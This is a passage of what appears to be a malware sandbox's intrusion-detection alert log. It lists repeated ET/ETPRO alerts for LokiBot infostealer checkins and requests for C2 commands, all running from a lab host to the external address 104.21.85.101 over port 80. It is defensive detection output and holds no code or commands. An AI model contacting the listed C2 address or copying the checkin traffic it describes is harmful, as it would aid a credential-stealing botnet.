Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.000038
SID:	2825766
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.965000
SID:	2021641
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:07.503626
SID:	2025381
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.977503
SID:	2024318
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:05.187815
SID:	2024313
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:58.296639
SID:	2024313
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:20.087463
SID:	2825766
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:35.556016
SID:	2025381
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:05.187815
SID:	2024318
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:19.144546
SID:	2024318
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:19.144546
SID:	2024313
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:07.503626
SID:	2825766
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:54.770134
SID:	2825766
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:58.296639
SID:	2024318
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:05.571891
SID:	2024313
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:36.335492
SID:	2021641
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.132174
SID:	2825766
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:27.314357
SID:	2024318
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:05.571891
SID:	2024318
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:41.567295
SID:	2024313
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:41.567295
SID:	2024318
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:52.872776
SID:	2825766
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:27.314357
SID:	2024313
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:23.686553
SID:	2024313
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:53.233272
SID:	2021641
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:06.518525
SID:	2025381
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:28.354051
SID:	2025381
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:23.686553
SID:	2024318
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:29.323327
SID:	2825766
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:40.730674
SID:	2021641
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.970619
SID:	2024318
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:46.289681
SID:	2025381
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.970619
SID:	2024313
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.941539
SID:	2024313
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.941539
SID:	2024318
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.944131
SID:	2025381
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:22.782486
SID:	2021641
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.029387
SID:	2024318
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:22.168783
SID:	2025381
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.029387
SID:	2024313
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:53.803473
SID:	2021641
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:42.432686
SID:	2825766
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:04.194340
SID:	2025381
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:57.446786
SID:	2025381
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.174321
SID:	2021641
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:36.373420
SID:	2024313
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:16.532869
SID:	2825766
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:26.338973
SID:	2025381
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:13.622626
SID:	2025381
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:36.373420
SID:	2024318
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:37.342738
SID:	2825766
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.944507
SID:	2025381
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:53.747051
SID:	2021641
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:02.822734
SID:	2024313
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:56.824671
SID:	2025381
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:27.314091
SID:	2025381
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:49.900695
SID:	2025381
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.993699
SID:	2024318
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:41.138153
SID:	2021641
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:30.108861
SID:	2825766
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.993699
SID:	2024313
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:54.770134
SID:	2025381
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:29.208414
SID:	2024318
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:39.855398
SID:	2825766
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:07.399031
SID:	2024318
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:03.699908
SID:	2825766
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:48.820321
SID:	2024318
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:29.208414
SID:	2024313
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:12.795525
SID:	2021641
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:07.399031
SID:	2024313
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:48.820321
SID:	2024313
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:52.319655
SID:	2025381
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:02.822734
SID:	2024318
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:25.471357
SID:	2021641
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:26.436407
SID:	2025381
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.171322
SID:	2021641
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.127367
SID:	2025381
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:11.776104
SID:	2024318
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:46.007126
SID:	2025381
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:42.432686
SID:	2021641
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.838596
SID:	2024318
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:02.427081
SID:	2024313
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:42.867143
SID:	2025381
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:22.782486
SID:	2825766
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:55.635319
SID:	2024313
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:55.635319
SID:	2024318
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:00.847332
SID:	2021641
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:03.327854
SID:	2825766
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.838596
SID:	2024313
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:02.427081
SID:	2024318
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:11.776104
SID:	2024313
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:38.199508
SID:	2025381
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:13.812339
SID:	2025381
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:34.740166
SID:	2825766
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:12.860512
SID:	2825766
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:44.712946
SID:	2021641
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:56.483967
SID:	2825766
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:08.266294
SID:	2025381
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:09.229387
SID:	2025381
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.081251
SID:	2021641
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:30.172586
SID:	2025381
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.923427
SID:	2025381
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:37.210299
SID:	2025381
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:16.532869
SID:	2021641
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:20.087463
SID:	2021641
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:00.615870
SID:	2021641
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.003346
SID:	2825766
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:28.412600
SID:	2024313
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:44.712946
SID:	2825766
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.110921
SID:	2024318
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:28.412600
SID:	2024318
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:57.681674
SID:	2021641
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:58.817936
SID:	2025381
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:18.265929
SID:	2025381
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:19.638609
SID:	2825766
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:21.327353
SID:	2021641
Source Port:	49741
Destination Port:	80
Protocol:	TCP
